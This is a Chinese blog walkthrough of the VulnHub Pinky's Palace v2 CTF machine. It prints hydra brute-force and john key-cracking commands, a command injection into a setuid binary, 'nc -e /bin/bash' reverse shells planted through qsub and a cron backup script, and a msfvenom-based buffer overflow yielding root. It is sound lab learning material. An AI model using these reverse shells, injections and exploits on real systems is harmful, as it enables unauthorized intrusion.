No.27-VulnHub-Pinky's Palace: v2-Walkthrough渗透学习

**

VulnHub-Pinky’s Palace: v2-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v2,229/
靶机难度:中级(CTF)
靶机发布日期:2018年3月18日
靶机描述:一个现实的Boot2Root。获得对系统的访问权限并阅读/root/root.txt
进入难度:容易/中级
扎根困难:中级/困难
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-23
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
这边直接看到了靶机的IP:192.168.182.132
在这里插入图片描述
可以看到开放了80、4655、7654、31337端口,这是wordpress框架的web…wpscan要用上了…
在这里插入图片描述
先按照作者的要求添加下…
在这里插入图片描述
命令:echo 192.168.182.132 pinkydb | sudo tee -a /etc/hosts
意思是服务IP变成了pinkydb…
在这里插入图片描述
在这里插入图片描述
访问服务器也提示了wordpress框架搭设的…
在这里插入图片描述
发现用户名:pinky1337
在这里插入图片描述
发现了wordpress/ 目录这个仿佛是一个全新未安装的wordpress,可以自己安装然后进后台getshell
尝试安装wordpress发现wp-config.php不可写,这条路行不通了…
上面扫描利用的是common.txt没发现什么…换big.txt试试…(common目录量就4612,big有20458个,比较全)
在这里插入图片描述
都扫描到了/secret/ 和/wp-admin/目录…
在这里插入图片描述
在这里插入图片描述
bambam.txt下是三个端口号,但是nmap并没有扫描出这些端口,试着打开看看…(前面章节端口转发也有类似的场景…)
这边回看nmap后发现4655、7654、31337端口都是filtered状态…估计和这三个端口有关系…
我这边用新的方式打开这三个隐藏端口…
在这里插入图片描述
在这里插入图片描述
命令:sudo apt-get install knockd iptables-persistent (knockd可以打开隐藏端口,需要按照它)
这边看到已经打开了这三个端口,nmap扫描后发现,果然,这应该是端口在转发…
4655、7654、31337端口都是filtered状态变成了open…
在这里插入图片描述
nmap扫除31337上有后门存在…我尝试nc上去后,好像是一个外壳,但是每个命令都刚刚返回并且连接关闭…
在这里插入图片描述
访问7654,返回403…意识让我用host里改的值去访问…
在这里插入图片描述
进去…
在这里插入图片描述
我用admin、pinky、pinky1337知道的用户名去一个一个尝试登录…都进不去…
这边用九头蛇爆破…
这边使用fasttrack.txt和rockyou.txt都没找到密码…
我就使用cewl对靶机站点生成了一个单词列表(wordpress站点)
在这里插入图片描述
命令:hydra -L user.txt -P ./dayu.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!"
login: pinky password: Passione
login: pinky1337 password: Blog
在这里插入图片描述
在这里插入图片描述
登录后有个RSA密匙…和一段话,说Stefano是实习生web安全开发员,提供了RAS密匙,供大家登录…
在这里插入图片描述
下载下来后,使用它…
在这里插入图片描述
发现还需要passphrase才可以登录…用ssh2john配合john来破解…
在这里插入图片描述
命令:ssh2john id_rsa > dayuid_rsa
命令:john --wordlist=/usr/share/wordlists/rockyou.txt dayuid_rsa
RAS的密匙密码为secretz101
在这里插入图片描述

二、提权

成功登陆…
在这里插入图片描述
找了会,进入tools目录下,在note.txt中有段话,让我用qsub小程序来发送会话…
在这里插入图片描述
可以看到setuid位启用为pinky…执行后都是正确输出…应该存在缓冲区溢出…我试试
在这里插入图片描述
命令:./qsub $(python -c "print 'A'*100")
果然存在…
在这里插入图片描述
gdb还不可用…
这边发现它存在www-data组权限中…我需要读取qsub文件的权限…
这边回到web页面查看下…
在这里插入图片描述
查看/etc/passwd确实存在LFI后…
在这里插入图片描述
发现了可读字符串中是TERM…这是环境变量…
在这里插入图片描述
我输入xterm-256color后…Welcome to Question Submit!,这边直接可以输入shell…
在这里插入图片描述
命令:/bin/echo %s >> /home/pinky/messages/stefano_msg.txt
命令:./qsub '$(nc -e /bin/bash 192.168.182.149 4444)'
利用/bin/输入…然后将shell植入里面即可…
在这里插入图片描述
成功进入pinky用户…
在这里插入图片描述
每个地方都看看…没啥信息…按照套路应该有一个文件可以写入shell的…继续找
在这里插入图片描述
发现个.sh文件…想查看发现组的权限不是pinky,用newgrp来切换当前用户组即可…
在这里插入图片描述
这边查看后,目前我具有写访问权…它应该是个备份脚本…放在这不起眼的地方,我先尝试写入shell看看…
在这里插入图片描述
命令:echo “nc -e /bin/bash 192.168.182.149 1234” > backup.sh
查看到已经成功写入了…
在这里插入图片描述
等了几分钟后…发现成功连接…了… 这是自动执行的脚本…
在这里插入图片描述
成功进入了demon用户…
在这里插入图片描述
发现具有root身份运行的daemon目录…
在这里插入图片描述
发现panel应用程序,查看…
在这里插入图片描述
执行发现这是一个不完整的壳…应该又存在缓冲区溢出…没装gdb…
在这里插入图片描述
在这里插入图片描述
命令:nc -nlvp 1111 > panel
命令:nc 192.168.182.149 1111 < panel
发现这上面装了NC,这边利用nc把panel程序放到kali上分析…
这边过了7~8小时…因为我是32位的kali打开panel有问题…一直报错,用IDA在windows10上打开也一直报错…后来安装了64位的kali后使用就能打开了…看来这个靶机的panel.exe限制了…
继续!!!(在64位kali上继续渗透)
在这里插入图片描述
这边用gdb正常打开…这边前面运行已经知道这是个31337存在的不完整外壳是同一程序…这边绑定下31337然后进行分析…
在这里插入图片描述
命令:
(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off
前面输入31337端口什么内容,就返回什么内容,这边绑定下fork来允许多个连接…在gdb上设置为跟随fork并保持它们的绑定…
在这里插入图片描述
开始观察程序,这边按照缓冲区问题总结,应该输出都放在handlecmd函数里…
这边打算用strcpy代替strncpy方法,来查看到缓冲区溢出的位置…
在这里插入图片描述
在这里插入图片描述
命令:echo $(python -c “print ‘A’*500”) | nc localhost 31337
可以看到segfault段错误是:0x00000000004009aa in handlecmd ()
在这里插入图片描述
在这里插入图片描述
我需要找到他溢出的位置,输入200,还是溢出了…
在这里插入图片描述
在这里插入图片描述
崩溃发生在113字节处,从那里发现总共花了124个字节来覆盖返回地址的RIP寄存器,检查溢出后的内存,在strcpy之后放置了一个断点…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这边将A处将shellcode放入其中,在B处将return addr放入其中,从而溢出该程序…
在这里插入图片描述
检查了寄存器和堆栈…
在这里插入图片描述
可以看到我安装了一个名为peda的gdb扩展…地址
找到一种方法来在返回地址停止工作之前,覆盖最多6个字节的返回地址,但是需要8个字节来写入我的shellcode,最后发现RSP寄存器指向shellcode的起始位置,所以我改用peda定位对RSP的调用…
在这里插入图片描述
地址0x400cfb处 有一条rsp 调用指令,这将是我们利用该漏洞的返回地址…
在这里插入图片描述
命令:msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.182.133 LPORT=4444 -b 00 -f python
这边使用msfvenom生成shellcode…注意程序使用strcpy来触发溢出,所以shellcode里不能含有null字符,不然会截断…
在这里插入图片描述
然后运行即可…
在这里插入图片描述
成功获取root和flag文件

这靶机挺难的…继续脑补缓冲区溢出…

由于我们已经成功得到root权限&找到flag.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

发布了27 篇原创文章 · 获赞 4 · 访问量 4296

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/104070421